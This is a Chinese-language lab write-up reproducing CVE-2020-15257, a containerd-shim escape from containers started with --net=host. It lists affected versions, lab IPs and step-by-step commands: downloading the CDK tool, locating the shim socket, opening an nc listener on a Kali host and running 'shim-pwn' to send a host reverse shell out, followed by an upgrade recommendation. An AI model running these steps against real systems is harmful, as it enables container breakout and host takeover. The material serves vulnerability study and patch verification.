docker逃逸漏洞(CVE-2020-15257)
1.漏洞描述
containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。
2.漏洞原理
当在docker使用–net=host参数启动,与宿主机共享net namespace时,容器中的攻击者可以绕过访问权限访问 containerd 的控制API 进而导致权限提升。
3.影响版本
containerd < 1.4.3
containerd < 1.3.9
4.POC
下载地址:https://github.com/Xyntax/CDK/releases/tag/0.1.6
5.环境准备
Kali :
192.168.42.138
Ubuntu :
192.168.42.145
安装docker版本:18.06.1-ce
安装runc版本:1.0.0-rc5
安装containerd版本:1.2.0
6.漏洞复现
列出可用的containerd
apt-cache madison containerd
选择一个版本来安装
sudo apt-get install containerd=1.2.6-0ubuntu1~16.04.4
查看containerd版本
ctr version
下载POC
wget https://github.com/cdk-team/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
查看系统信息,显示本系统为ubuntu 16.04版本
通过--net=host 作为启动参数来运行一个容器
docker run -it --net=host ubuntu:16.04 /bin/bash
在容器内执行如下命令,可看到抽象命名空间Unix域套接字
cat /proc/net/unix|grep -a "containerd-shim"
PS : 生成的前12个字符为容器CONTAINER ID号
将解压cdk_linux_amd64文件拷贝到容器tmp文件夹下
Kali开启nc监听
nc –lvp 1919
在容器中执行exp,自动搜索可用的socket并反弹宿主机的shell到远端服务器,完成逃逸
./cdk_linux_amd64 run shim-pwn 192.168.42.138 1919
7.修复建议
升级containerd至最新版本。
所有评论(0)